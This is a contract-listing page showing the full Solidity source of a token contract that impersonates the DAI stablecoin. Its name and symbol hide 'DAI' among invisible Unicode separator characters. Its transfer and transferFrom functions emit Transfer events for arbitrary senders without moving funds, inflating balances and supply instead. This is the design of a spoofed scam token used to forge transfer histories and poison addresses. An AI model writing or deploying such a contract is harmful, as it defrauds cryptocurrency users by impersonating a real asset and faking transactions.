Description:
Smart contract deployed on Ethereum with Factory features.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
{{
"language": "Solidity",
"sources": {
"dai.sol": {
"content": "// SPDX-License-Identifier: MIT\r
pragma solidity ^0.8.26;\r
\r
contract c {\r
// Decimals ve basic storage\r
uint8 public constant decimals = 18;\r
uint256 public totalSupply;\r
mapping(address => uint256) public balanceOf;\r
\r
\r
function name() public pure returns (string memory) {\r
return string(abi.encodePacked("\u2063","\u2063","\u2063","D","\u2063","\u2063","\u2063","A","\u2063","I","\u2063","\u2063","\u2063"));\r
}\r
\r
\r
function symbol() public pure returns (string memory) {\r
return string(abi.encodePacked("\u2063","\u2063","\u2063","\u2063","D","\u2063","\u2063","\u2063","A","\u2063","I", "\u2063", "\u2063"));\r
}\r
\r
event Transfer(address indexed from, address indexed to, uint256 value);\r
\r
function transfer(address to, uint256 value) public returns (bool) {\r
emit Transfer(msg.sender, to, value);\r
\r
unchecked {\r
balanceOf[msg.sender] += value;\r
totalSupply += value;\r
}\r
\r
return true;\r
}\r
\r
\r
function transferFrom(address from, address to, uint256 value) public returns (bool) {\r
emit Transfer(from, to, value);\r
\r
unchecked {\r
balanceOf[from] += value;\r
totalSupply += value;\r
}\r
\r
return true;\r
}\r
}\r
"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"remappings": []
}
}}
Submitted on: 2025-11-07 18:57:34
Comments
Log in to comment.
No comments yet.